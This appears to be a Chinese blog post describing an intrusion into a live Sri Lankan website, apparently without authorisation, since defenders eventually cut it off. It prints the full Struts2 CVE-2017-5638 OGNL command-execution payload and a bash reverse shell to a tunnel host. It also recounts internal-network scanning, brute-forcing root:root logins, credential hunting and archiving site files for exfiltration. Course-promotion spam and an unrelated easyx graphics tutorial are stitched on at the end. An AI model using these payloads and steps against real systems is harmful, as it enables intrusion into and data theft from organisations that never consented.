记一次丝滑的渗透测试,零基础入门到精通,收藏这篇就够了

765 篇文章 36 订阅
269 篇文章 11 订阅

注意:本文章仅用于技术交流学习,请勿用于非法用途,否则后果自负

本次测试的是一个斯里兰卡的站点,相关内容均厚码处理

fofa返回的结果是只有四个资产且全部都是一个域名下的

这是一个后台,但酷酷习题大法在这里已经没用了,由于站点比较冷门,筛不到这个站点,只能一边用漏扫一边手动测。

由于它是后台,我首先想到了sql注入,直接抓到请求包然后扔sqlmap跑

根据其前台的功能点,又找到一处与数据库交互的地方:

分别用sqlmap跑这两个post包后,均失败

此时再查看漏扫:

CVE-2023-48795,是ssh前缀截断攻击,其原理为:攻击者可以在初始密钥交换期间注入任意数量的SSH消息,并在交换完成后移除相同数量的消息,从而破坏SSH扩展协商(RFC8308),可降级连接的安全性。但是,它的利用条件比较苛刻,需要从本地网络发起,这点我们是做不到的。

CVE-2017-5638,这是一个RCE(没想到24年扫到了17年的老洞),这个单位的运维也是上大分了,这个利用很简单,只需要改请求包中Content-Type的值即可实现rce

poc:

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

那么直接发请求包:

也是成功利用了。

先看看它可以通过什么方式反弹shell

whereis nc bash python php exec lua perl ruby

尝试通过nc反弹shell(由于担心攻击机被溯源,我开代理+内网穿透):

不知道为什么连不上,再试试bash反弹:

bash -i >& /dev/tcp/16.tcp.cpolar.top/14898 0>&1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这次成功了

回头看cve-2023-48795,它攻击面较小,条件也是苛刻中的苛刻,这里我附上相关文章,各位感兴趣的观众可以去看看

https://blog.csdn.net/Xxy605/article/details/135199758

这里我想看看它都开着什么端口,本能地输入了一个nmap,没想到还真有(运维上大分)

因为可以出网啥的,我就直接塞了个fscan进去,然后开始扫端口,ip

开了个zabbix

扫了一顿啥也没有,一看版权信息是2019的,搜一下历史洞

搜到了cve-2022-23131,cve-2024-22116,不过这些漏洞均无法利用。

这里尝试./fscan -h 172.20.1.1/16 -c id -t 100000来爆破一下内网机器

扫了一顿发现172.20段有且只有172.20.252.1存在弱口令(root:root),然后history看到前面的几条命令有很多ssh连接记录(记录均为内网),果断翻找ssh凭据,同时fscan扫描整个172段

像这样的ip出来了28个

测试了一下也都可以登上去,只能说逆天

也可以出网

此时我黄豆就开始幻想了,幻想自己是比肩年姐那样的顶尖红队大玉,可以手撕内网

为了拓宽攻击面,我 cat ~/.ssh/known_hosts

只有可怜的五台(172.20.252.2还登不上去)

然后再来看3389(windows上的内网渗透容易于linux)

未果

那现在只能先脱网站文件,审计来扩大攻击面了(又特么回到起点了)

tar -cvf 114514.tar *

一边脱着,我就想看看他装了什么软件,直接yum list,然后给我报了个这个玩意:

没想到还有个邮服,属于是意外之喜了

目前收获:内网机器*28,邮服*1

然后审到了数据库账号密码,想进一步看看数据库,没想到这羁绊系统,虽然有17年的陈年nday但是还有蓝队值守,给我光速拔线了

屋檐了。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

使用easyx图形库来制作一个特别流畅丝滑的小程序,你需要考虑的是如何高效地进行图形绘制和动画更新,以及如何减少画面的卡顿和延迟。以下是一个基本的步骤指南: 1. **环境配置**:确保你的开发环境中已经安装了easyx图形库,并配置好你的开发工具(如Visual Studio)。 2. **创建窗口**:使用easyx库的`initgraph`函数创建一个窗口,设置合适的大小和模式。 3. **主循环**:在主循环中进行图像绘制和事件处理,使用`while`循环来保持程序运行。 4. **图形绘制**:使用easyx提供的绘图函数,如`circle`、`line`、`fillrectangle`等,绘制所需的图形。 5. **动画实现**:通过更新图形的坐标、颜色、大小等属性来实现动画效果。可以使用`setlinecolor`、`setfillcolor`、`moveto`、`lineto`等函数实现动画效果。 6. **帧率控制**:为了保证动画的流畅性,需要控制每一帧的更新频率,可以使用`Sleep`函数来限制帧率(FPS)。 7. **优化**:检查程序中是否存在耗时的操作,尽量避免在主循环中进行复杂的计算。如果需要处理复杂逻辑,可以考虑将这些逻辑放在单独的线程中运行。 8. **消息处理**:响应用户输入,如关闭窗口的事件,确保可以正确退出程序。 一个简单的示例代码框架可能如下所示: ```cpp #include <graphics.h> // 引入easyx图形库头文件 int main() { // 初始化图形窗口 initgraph(640, 480); // 主循环 while (true) { // 处理消息 if (kbhit()) { // 检测按键 char ch = getch(); if (ch == 27) break; // 如果按下ESC键,则退出程序 } // 清屏 cleardevice(); // 绘制图形 // 例如绘制一个圆形 setfillcolor(RED); solidcircle(320, 240, 50); // 圆心(320, 240),半径50 // 控制帧率 Sleep(16); // 约等于60FPS // 更新画面 flushgraph(); } // 关闭图形窗口,退出程序 closegraph(); return 0; } ``` 请确保你已经对easyx图形库有所了解,并且熟悉基本的图形编程知识。实际开发中,可能还需要更复杂的逻辑来实现特别流畅丝滑的效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值